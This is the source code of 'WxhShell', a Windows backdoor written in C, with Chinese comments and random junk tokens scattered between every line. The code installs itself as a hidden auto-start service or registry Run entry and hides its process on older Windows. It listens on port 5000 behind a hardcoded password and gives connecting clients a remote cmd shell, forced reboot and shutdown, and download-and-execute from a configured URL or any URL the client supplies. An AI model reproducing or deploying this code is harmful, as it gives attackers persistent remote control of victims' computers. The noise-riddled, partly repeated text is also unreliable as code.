D,Ft*(|T g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ik_u34U g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m4FT^^3yE NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q)}_S@v|% _G]f
v' if (!NtQueryInformationProcess) return 0; VFLxxFJ \OMWE/qMy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +c@s
if(!hProcess) return 0; ]mEY/)~7 MpZ
# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5v:c@n jr$]kLY CloseHandle(hProcess); O=c^Ak 8P8@i+[]W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0'ha!4h3Z if(hProcess==NULL) return 0; 9/N=7<$ "/v{B?~%! HMODULE hMod; ~4HS
2\ char procName[255]; *z-Mr~V unsigned long cbNeeded; `/en&l -X#Zn># if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =bt/2nPV {ir8n731p
CloseHandle(hProcess); 'xO5Le(=M >U/m/H' if(strstr(procName,"services")) return 1; // 以服务启动 o5(`7XV6D tE"aNA#= return 0; // 注册表启动 X"yjsk } 1an?/j, s&-m!|P // 主模块 tz0_S7h int StartWxhshell(LPSTR lpCmdLine) q.]>uBAQ? { y^"[^+F3 . SOCKET wsl; 3R!?r^h BOOL val=TRUE; UOTM>d1P int port=0; t#pF.!9= struct sockaddr_in door; x[]}Jf{t (+Ia:D if(wscfg.ws_autoins) Install(); D@5Ud)_ ,dhSc<:LT port=atoi(lpCmdLine); i}C9 hq}kAv4B= if(port<=0) port=wscfg.ws_port; >0yx!Iao YcJZG|[ WSADATA data; |TCHPKN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6|q\ M Qs24b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NYS|fa setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q'u^v PO door.sin_family = AF_INET; o&tETJ5Bhe door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0OJBC~?{\ door.sin_port = htons(port); cB~D3a0Th lCmTm if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SyHS 9> closesocket(wsl); <w@z iUr return 1; :Osw4u]JXd } EyJWi< EA@p]+P if(listen(wsl,2) == INVALID_SOCKET) { 0 t. '?= closesocket(wsl); 5#Z> }@/ return 1; QIZ }7 } Gn}G$uk61 Wxhshell(wsl); <pAN{: WSACleanup(); y7[D9ZvZ >f7;45i return 0; Kh{C$b G&P[n8Z$ } !`j}%!K! U&DD+4+28: // 以NT服务方式启动 yb)!jLnH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tqdw
y. { ]w2nVC3 DWORD status = 0; S.,om;` DWORD specificError = 0xfffffff; ^Fmp"[q 5[^pU$Y serviceStatus.dwServiceType = SERVICE_WIN32; \*5`@>_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3LT[?C]H$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s zgq7 serviceStatus.dwWin32ExitCode = 0; s d-5AE serviceStatus.dwServiceSpecificExitCode = 0; ["N{6d&Q serviceStatus.dwCheckPoint = 0; K5;
/ serviceStatus.dwWaitHint = 0; {(o$? = 2"Oj*
; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r*e<`Is if (hServiceStatusHandle==0) return; NkWU5E!
XE/K|o^Hp status = GetLastError(); ?!PpooYK if (status!=NO_ERROR) zT;F4_p3G- { +k@$C,A serviceStatus.dwCurrentState = SERVICE_STOPPED; :aYbP,mE serviceStatus.dwCheckPoint = 0; 1: cD\ serviceStatus.dwWaitHint = 0; Ns^[Hb[b' serviceStatus.dwWin32ExitCode = status; /,G -1E serviceStatus.dwServiceSpecificExitCode = specificError; ``l7|b jJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |7
.WP; 1 return; JA .J~3 } v;!f ?OW! zE: serviceStatus.dwCurrentState = SERVICE_RUNNING; fU@{!;|Pz serviceStatus.dwCheckPoint = 0; p-p]dV serviceStatus.dwWaitHint = 0; $9_yD&& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yh=/?&* } tvh)N{j {5<3./5O // 处理NT服务事件,比如:启动、停止 s,KE,$5F VOID WINAPI NTServiceHandler(DWORD fdwControl) x3dP`<
{ 9?4EM^- switch(fdwControl) Fu@2gd { N{6
-rR case SERVICE_CONTROL_STOP: $:v!*0/ serviceStatus.dwWin32ExitCode = 0; MiB"CcU serviceStatus.dwCurrentState = SERVICE_STOPPED; u$A*Vsmr serviceStatus.dwCheckPoint = 0; |&O7F;/_ serviceStatus.dwWaitHint = 0; z:
x|;Ps! { -Re4G78% SetServiceStatus(hServiceStatusHandle, &serviceStatus); s@Q,
wa( } _FG?zE return; 6gUcoDD case SERVICE_CONTROL_PAUSE: &y164xn'h serviceStatus.dwCurrentState = SERVICE_PAUSED; s\7]"3:wD break; UOi[#L@N case SERVICE_CONTROL_CONTINUE: y81B3`@ serviceStatus.dwCurrentState = SERVICE_RUNNING; kZ8+ev= break; IaDN[:SX case SERVICE_CONTROL_INTERROGATE: z%$,F9/ break; &f2'cR }; Z?IwR SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^o`;C\ } *b<
a@ v/\in'H~ // 标准应用程序主函数 X-xN<S q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JYE[
1M { L.5 /wg 8SJi~gV // 获取操作系统版本 j?5s/ OsIsNt=GetOsVer(); C(t>ZR GetModuleFileName(NULL,ExeFile,MAX_PATH); }ioHSkCD 0vu$dxb[ // 从命令行安装 BQ We8D if(strpbrk(lpCmdLine,"iI")) Install(); Vh%=JL
sK Lm-yTMNPn // 下载执行文件 FZUN*5` if(wscfg.ws_downexe) { w_O3]; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ynWF Y<VX WinExec(wscfg.ws_filenam,SW_HIDE); ukZ>_ke`+ } G-vBJlt=t U64WTS@ if(!OsIsNt) { Wmm'j&hI // 如果时win9x,隐藏进程并且设置为注册表启动 w=ZSyT-i HideProc(); Q
db~I#}m' StartWxhshell(lpCmdLine); GS!7HphR } ;rD
M%S@ else Rds_Cd C if(StartFromService()) 8IX:XDEQ // 以服务方式启动 ncF|wz StartServiceCtrlDispatcher(DispatchTable); ,};UD
W else h3}gg@Fm // 普通方式启动 sBsf{%I[{ StartWxhshell(lpCmdLine); Q Pel n) ( !K?^si return 0; >4c7r~\k } d[cqs9=\ )#NT* @j` @Ido6Z7 mJj
[f8 =========================================== =vqy5y -#9Hb.Q; sYt\3/yL' n0/H2>I[ "s:eH"_s e@Cv')]B " o~
v Jp'XZ]o\ #include <stdio.h> +Wr"c #include <string.h> I UMt^z #include <windows.h> ^rHG#^hA #include <winsock2.h> 88K=jo))b #include <winsvc.h> ?1DA #include <urlmon.h> s>pOfXIx ,3m]jp' #pragma comment (lib, "Ws2_32.lib") IvW%n(a8^ #pragma comment (lib, "urlmon.lib") s8/sH]; f3g#(1 #define MAX_USER 100 // 最大客户端连接数 uQ} 0hs #define BUF_SOCK 200 // sock buffer `oDs]90 #define KEY_BUFF 255 // 输入 buffer %[l*:05 \R m2c8Z2 #define REBOOT 0 // 重启 x]1G u #define SHUTDOWN 1 // 关机 K`BNSdEN> #_A <C+[ #define DEF_PORT 5000 // 监听端口 $r>\y (W lphELPh #define REG_LEN 16 // 注册表键长度 \0{g~cU4 #define SVC_LEN 80 // NT服务名长度 2
/rDi $p(,Qz(.8 // 从dll定义API FuA8vTV{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y([""z3<w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H
3e(- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \`nRgYSE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q|!}&= w<m)T // wxhshell配置信息 m|7lDfpb struct WSCFG { # 1S*}Q<k int ws_port; // 监听端口 qtqTLl@u char ws_passstr[REG_LEN]; // 口令 )_MIUQ% int ws_autoins; // 安装标记, 1=yes 0=no =LFrV9 char ws_regname[REG_LEN]; // 注册表键名 Z#2AK63/T char ws_svcname[REG_LEN]; // 服务名 0v~Eu>Rg char ws_svcdisp[SVC_LEN]; // 服务显示名 vP_V%5~yN char ws_svcdesc[SVC_LEN]; // 服务描述信息 /SXms'C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -<R" int ws_downexe; // 下载执行标记, 1=yes 0=no L\:f#b~W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lzKJy char ws_filenam[SVC_LEN]; // 下载后保存的文件名
IjK j-?zB.jAh }; %XpYiW#AK nE~HcxE/ // default Wxhshell configuration 500qg({2] struct WSCFG wscfg={DEF_PORT, T:/68b*H\: "xuhuanlingzhe", FqvMi:F 1, oicj3xkw? "Wxhshell", +[=yLE#P% "Wxhshell", ;yc|=I^ "WxhShell Service", `I\)Kk@*b9 "Wrsky Windows CmdShell Service", ZL0':7 "Please Input Your Password: ", I T.'`!T 1, E(0(q#n "http://www.wrsky.com/wxhshell.exe", OG M9e! "Wxhshell.exe" eH*u,/ }; d%"?^e :;wb{q$O // 消息定义模块 !Q`vOVSUD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C< :F<[H char *msg_ws_prompt="\n\r? for help\n\r#>"; U%Igj:%?;` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S.!0~KR:U char *msg_ws_ext="\n\rExit."; <hYrcOt char *msg_ws_end="\n\rQuit."; ]>K02SVT: char *msg_ws_boot="\n\rReboot..."; nA!Xb'y& char *msg_ws_poff="\n\rShutdown..."; ) <lpI';T char *msg_ws_down="\n\rSave to "; E^RPK{zO :HJ@/s!J char *msg_ws_err="\n\rErr!"; xnyp'O8yk char *msg_ws_ok="\n\rOK!"; WFOO6
kMz Kn#3^>D char ExeFile[MAX_PATH]; Esc*+}ck int nUser = 0; 1pUIZ$@?` HANDLE handles[MAX_USER]; !'-|]xx( int OsIsNt; !k=>Wb8n2 $U uSrX& SERVICE_STATUS serviceStatus; .szs? SERVICE_STATUS_HANDLE hServiceStatusHandle; [jOvy>2K] 7_AR()CM // 函数声明 A[,[j?wC int Install(void); jslfq@5v int Uninstall(void); -n C
5 int DownloadFile(char *sURL, SOCKET wsh); OT&mNE4 int Boot(int flag); X(b"b:j' void HideProc(void); E!a5-SrR int GetOsVer(void); "S">#.L int Wxhshell(SOCKET wsl); J!%cHqR void TalkWithClient(void *cs); HuX{8nl a int CmdShell(SOCKET sock); q{rc[ s? int StartFromService(void); $] js0)> int StartWxhshell(LPSTR lpCmdLine); \X'{ e e a"!D @a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]Z@+
|&@L VOID WINAPI NTServiceHandler( DWORD fdwControl ); vFKt=o$ g .kBZ(`K // 数据结构和表定义 F-=W7 D:[c SERVICE_TABLE_ENTRY DispatchTable[] = IT`r&;5 { %cDTy]ILu {wscfg.ws_svcname, NTServiceMain}, )N) "O? W9 {NULL, NULL} c'9-SY1'~ }; E&?z-,-o@ ozs
xqN // 自我安装 kUl:Yj=& int Install(void) (I?CW~3# { b,?@_*qv+ char svExeFile[MAX_PATH]; hBSci|*f HKEY key; Lv;R8^n strcpy(svExeFile,ExeFile); ` "Gd/ V9v80e {n4 // 如果是win9x系统,修改注册表设为自启动 t^|+|>S if(!OsIsNt) { =w~phn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qR
WWG& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lgxG:zAC
RegCloseKey(key); S?Y,sl+A: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~%6GF57gC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q%xvS,oI RegCloseKey(key); $/sQatic return 0; "}"Bvp^ } TP6iSF } 29+p|n } (_}w4N# else { NFc@Kz<H /<(d.6T[}: // 如果是NT以上系统,安装为系统服务 a r0y8>]3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =h~\nTN if (schSCManager!=0) MDfE(cn2q { /Z:\=0` SC_HANDLE schService = CreateService G/F0)M ( BF*]l8p schSCManager, J!Kk7!^| wscfg.ws_svcname, ]-o0HY2 wscfg.ws_svcdisp, GEg8\ SERVICE_ALL_ACCESS, 9(%ptnya SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Rgy/1 SERVICE_AUTO_START, /4\!zPPj. SERVICE_ERROR_NORMAL, 7Y:~'&U| svExeFile, oGzZ.K3 A NULL, y;N[#hY#CD NULL, 0Ey*ci^ue NULL, z 0;+.E! NULL, KrQ8//Ih NULL Rt$Q*`u
); #+2|ZfCn% if (schService!=0) wvAXt*R { >Q0HqOq CloseServiceHandle(schService);
*mQOW]x% CloseServiceHandle(schSCManager); 3>[_2}l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z4\$h1tl strcat(svExeFile,wscfg.ws_svcname); v{ F/Bifo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OUY65K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ea%}VZ&[ RegCloseKey(key); IxY%d}[uo return 0; Kt,ENbF }
e]\{ Ia } aqTMOWyeu CloseServiceHandle(schSCManager); EUvxil } } k[gR I] } qDqgU `>@n6>f return 1; Pv.z~~lY } $u"t/_% =sG9]a<I // 自我卸载 ]M|Iy~
X int Uninstall(void) +jcg[|-'/ { ,+0>p HKEY key; `P&L. m]| W/PZD ( if(!OsIsNt) { sR`WV6!9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qh )QdW4 RegDeleteValue(key,wscfg.ws_regname); .bh>_ W_h RegCloseKey(key); :tu_@3bg- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DkP%1Crdr RegDeleteValue(key,wscfg.ws_regname); ,|4%YaN.3 RegCloseKey(key); 1mw<$'pm0 return 0; ~=5 vc'' } ~F`t[p } J4
yT| } v)(tB7&`= else { >$]SYF29 f#:7$:{F1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g;U f? if (schSCManager!=0) L0{ehpvM { B]K@'# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }e/P|7& if (schService!=0) e2~i@vq { YadY?o./ if(DeleteService(schService)!=0) { A&i
CloseServiceHandle(schService); Z9rs,_A CloseServiceHandle(schSCManager); vb{+yEa return 0; _
i )Z8# } f
Q.ea#xh^ CloseServiceHandle(schService); ;mV,r,\dH } W`fE@* k0 CloseServiceHandle(schSCManager); CB5 ~!nKv& } 4'pg>;*. } RHo|&.B;+ ZbJUOa?WF return 1; N
3)OH6w" } pA9:1*+;; i)V-q9\ // 从指定url下载文件 C[$uf int DownloadFile(char *sURL, SOCKET wsh) 1]r+$L3 { YX+Da"\ HRESULT hr; jP6;~[rl char seps[]= "/"; CCJ!;d;&87 char *token; /#?lG`'1 char *file; QKYGeT7&Y' char myURL[MAX_PATH]; 9k_3=KS3N char myFILE[MAX_PATH]; tk5Bb`a h 5Y3
v strcpy(myURL,sURL); FAAqdK0 token=strtok(myURL,seps); ~y{(&7sM while(token!=NULL) I(r ^q" { [o)P file=token; J;Az0[qMR token=strtok(NULL,seps); #2c-@), } 5-|fp(Ww_W Qci<cVgP GetCurrentDirectory(MAX_PATH,myFILE); N1ZHaZ strcat(myFILE, "\\"); Fkas*79 strcat(myFILE, file); $smzP.V send(wsh,myFILE,strlen(myFILE),0); &$fe%1# send(wsh,"...",3,0); F"9f6<ge hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )J+vmY~& if(hr==S_OK) 7\aLK# return 0; zzfwI@4 else f<A Bs4w return 1; STp}?Cb VIL #q } Ml8 '=KN_ ANh5-8y // 系统电源模块 >\b=bT@iM int Boot(int flag) 2s,wC!', { >S5:zz\ HANDLE hToken; 95giqQ(N TOKEN_PRIVILEGES tkp; RRy3N
)HR Fs7/3
if(OsIsNt) { >G<AyS&z* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6vz9r)L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @*W,Jm3Y tkp.PrivilegeCount = 1; : g/H N9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `zAo IQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j3F[C:-zY if(flag==REBOOT) { ]*-9zo0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -\yaP8V return 0; [Dp 6q~RM } eHG**@"X else { a
1bu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W&y%fd\&3 return 0; VA_\Z } w5|az6wZB! } d|5u<f5 else { /EhojODMF if(flag==REBOOT) { <'QHe4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dm6WSp1|b return 0; Bsw5A7,- } 94"R&| else { pU)wxv[~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]>K%,}PS return 0; UT$G?D";M } tsq]QTA* } ^<xpp.eY \}t(g}7T return 1; `bO+3Y'5 } JI5?,
)-St ^lB'7#7 // win9x进程隐藏模块 %"@KuqV void HideProc(void) $xmltvaF { @jg*L2L6 /AWV@' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nGGYKI if ( hKernel != NULL ) 6gfv7V2H { Zr'VA,v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ihKnZcI$i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y1^<!I FreeLibrary(hKernel); RH^8 "%\ } mKynp +](^gaDw<L return; ~h?zK1 } oT$w14b N5[QQtQ // 获取操作系统版本 g+p?J.+ int GetOsVer(void) dkJ+*L5 { )El#Ks5u OSVERSIONINFO winfo; #sy)-xM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E>xdJ GetVersionEx(&winfo); @rkNx@[~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LJYFz=p" return 1; K~AQ) ]pJI else CD%wi:C%| return 0; 5[[ 4A]#T } ^3IO.`| $d?<(n // 客户端句柄模块 azz6_qk8 int Wxhshell(SOCKET wsl) u\-xlp?"o { ( du<0J|PT SOCKET wsh; D_`MeqF}C struct sockaddr_in client; tlu-zUsi DWORD myID; >f4H<V- 8$-(% while(nUser<MAX_USER) 828E^Q"< { 8.Wf^j$+{ int nSize=sizeof(client); YmFJlMK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }'a}s0h if(wsh==INVALID_SOCKET) return 1; Gr&5 mniu eiI}:5~
/g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #A@*k}/+ if(handles[nUser]==0) "n:z("Q* closesocket(wsh); >}GtmnF else vL{sk|2& nUser++; X*1vIs;[@ } G%-[vk#] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Af1mTbf= i[@*b/A return 0; {e0cc1Up} } v/\l :CNWHF4$ // 关闭 socket ZY +NKb_ void CloseIt(SOCKET wsh) q5YgKz?IC { f{AbCi closesocket(wsh); C^XJE1D. nUser--; ,ClGa2O ExitThread(0); >7B6iR6N } su>GeJiPW ko*Ir@SDv // 客户端请求句柄 6:i{_YX(.S void TalkWithClient(void *cs) QNJ )HNLp { _CDUUr ]6Kx0mW SOCKET wsh=(SOCKET)cs; +rfw)c' char pwd[SVC_LEN]; a,x-akZWf char cmd[KEY_BUFF]; F]@vmzr char chr[1]; _5EM <Ux int i,j; ;'NB6[x ~[e;{45V while (nUser < MAX_USER) { qk{2%,u$@{ |E&a3TQW if(wscfg.ws_passstr) { sL75C|f9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^C^FxIA& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <5rp$AzT //ZeroMemory(pwd,KEY_BUFF); 6MvjNbQ i=0; puA~}6C while(i<SVC_LEN) { \"{+J k?3NF:Yy7 // 设置超时 vdAaqM6D fd_set FdRead; ob05:D_bc9 struct timeval TimeOut; n.n;'p9t@ FD_ZERO(&FdRead); 0#0[E , FD_SET(wsh,&FdRead); L,M=ogdb TimeOut.tv_sec=8; XCCN6[[+ TimeOut.tv_usec=0; o(Yfnnuy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pqli3( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vmm#UjwF3 B ZP}0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pZUckQ pwd=chr[0]; <R582$( I if(chr[0]==0xd || chr[0]==0xa) { {Y6U%HG{{r pwd=0; WM$}1:O break; -61{ MMiA } pSvRyb.K i++; SB0Cq } 4qXO8T#~J= K?o( zh; // 如果是非法用户,关闭 socket luRtuXn[8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0+%{1JkJq } q">lP(t *UhYX)J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uOUgU$%zqH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UJMM& s.`:9nj while(1) { t>"UenJt- P|HxD0c^u ZeroMemory(cmd,KEY_BUFF); e=&,jg?K 8Q
ba4kgL // 自动支持客户端 telnet标准 `ECT8 j=0; ZmeSm&
hQ_ while(j<KEY_BUFF) { y:u7*%" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o.W:R Ux cmd[j]=chr[0]; O?5uCh$H if(chr[0]==0xa || chr[0]==0xd) { Cl#PYB{1Y cmd[j]=0; W6J%x[>Z break; :@#9P," } ZFwUau j++; uNSaw['0j } @a2n{ djJD'JL // 下载文件 ?_)b[-N! if(strstr(cmd,"http://")) { V,:^@ 7d send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~A^E_ if(DownloadFile(cmd,wsh)) Yw @)0%G send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg1s]c~0u else Y1fcp_]m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kT)[<`p } 2q]y(kW+ else { ehCGu(= )N$T& switch(cmd[0]) { Nc;cb d1CQ;,Df< // 帮助 San3^uX case '?': { QL/I/EgqC send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <8;SSdoKi break; !2L?8oP-z } N~NUBEKcp // 安装 9#(Nd, m}) case 'i': { *{WhUHZF if(Install()) SFqY*:svOw send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8R|!$P else R
6JHRd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iB4`w\-o break; D2}N6i } DR]=\HQ // 卸载 $O
nh2
^ case 'r': { ]q^6az(Ud if(Uninstall()) ?
nx3#< send(wsh,msg_ws_err,strlen(msg_ws_err),0); K(jo [S else k7, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U<<@(d%T break; w{F{7X$^ } |ppG*ee // 显示 wxhshell 所在路径 "06t"u<% case 'p': { X5U#^^O$E% char svExeFile[MAX_PATH]; 709/'#- ^ strcpy(svExeFile,"\n\r"); IQZ/8UwB strcat(svExeFile,ExeFile); o6bT.{8\ send(wsh,svExeFile,strlen(svExeFile),0); }jE[vVlRw break; Y#e,NN } lV%oIf[OB // 重启 kg&R case 'b': { tzIcR
#Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CghlyT if(Boot(REBOOT)) z|Y Ms? send(wsh,msg_ws_err,strlen(msg_ws_err),0); P{m(.EC_ else { {$>Pg/ closesocket(wsh); 2WO5Af% ExitThread(0); j!c~%hP } r=}v`
R& break; sdp3geBYo } #jj+/>ZOi // 关机 `;j@v8n$* case 'd': { HQkK8'\LP send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r>ziQq8C& if(Boot(SHUTDOWN)) X!xmto send(wsh,msg_ws_err,strlen(msg_ws_err),0); gN@|lHbU else { k~%j"%OB closesocket(wsh);
wK]p`:3 ExitThread(0); {,+{,Ere } 8sus$:Ry break; _DouVv> } Q{[l1: // 获取shell { )g
$ case 's': { S(^HIJK CmdShell(wsh); MCO2(E- closesocket(wsh); ,ZV>"'I: ExitThread(0); ?lca#@f( break; AZ.$g?3w } WAt= T3 // 退出 -I?8\ case 'x': { I+{2DY/} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WQ+ xS!ba CloseIt(wsh);
CK+t6Gp break; xlcL;e&^P } x^zw1e,y // 离开 ;\g0*b( case 'q': { "5HSCl$r% send(wsh,msg_ws_end,strlen(msg_ws_end),0); jd`h)4 closesocket(wsh); S=<OS2W7+r WSACleanup(); EVlj#~mV exit(1); AqiH1LAE break; $GR
rT C! } 9?iA~r|+ } 5szJ.!( } \
)WS^KR% $35C1" // 提示信息 )b?$
4<X^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + 70x0z2 } h+R26lI1x } Xf#+^cQ
NDUH10Y:[ return; 9.%t9RM^ } iE?yvtr8 b>2{F6F // shell模块句柄 ZkJLq[:cM int CmdShell(SOCKET sock) VqUCcT { "Zfm4Nx" STARTUPINFO si; 1xEFMHjy ZeroMemory(&si,sizeof(si)); \E=MV~:R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k|,Y_h0Y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _\.4ofK( PROCESS_INFORMATION ProcessInfo; Ht:\
z;cu char cmdline[]="cmd"; %M3L<2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '}^qz#w return 0; }Y^o("c(
} Q=61.lP6 _N {4Rs0 // 自身启动模式 %8H$62w] int StartFromService(void) uPq@6,+ { to'CuPkT typedef struct ypgM&"eR { [Tl66Eyl DWORD ExitStatus; fK6[ p& DWORD PebBaseAddress; "} "/d( DWORD AffinityMask; qSGM6kb DWORD BasePriority; ! 1Hs;K ULONG UniqueProcessId; ?fN6_x2e3 ULONG InheritedFromUniqueProcessId; DaQ+XUH? } PROCESS_BASIC_INFORMATION; jGi{:} `lB 0l3[?YtXc PROCNTQSIP NtQueryInformationProcess; $4mCtonP= Xj{gyLs static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1eywnOjrj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]>Ym BhYvEbt HANDLE hProcess; H$ %F0'0 PROCESS_BASIC_INFORMATION pbi; &09&;KJ ?nPG#Z|% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h
w^
V if(NULL == hInst ) return 0; U9\\8 `Se2f0", g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ta:9wZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :%z#s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zYP6m3n }SC&6B?G if (!NtQueryInformationProcess) return 0; et/:vLl13 <(@Z#%O9) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i\_LLXc if(!hProcess) return 0; Dw/vXyZ Ims? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +HPcvu?1 R `Fgne$4 CloseHandle(hProcess); Ph%{h" SXP(C^?C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'pT13RFD if(hProcess==NULL) return 0; ? )h8uf4 Yn[>Y) HMODULE hMod; c9G%;U) char procName[255]; |gWA'O0S unsigned long cbNeeded; -b
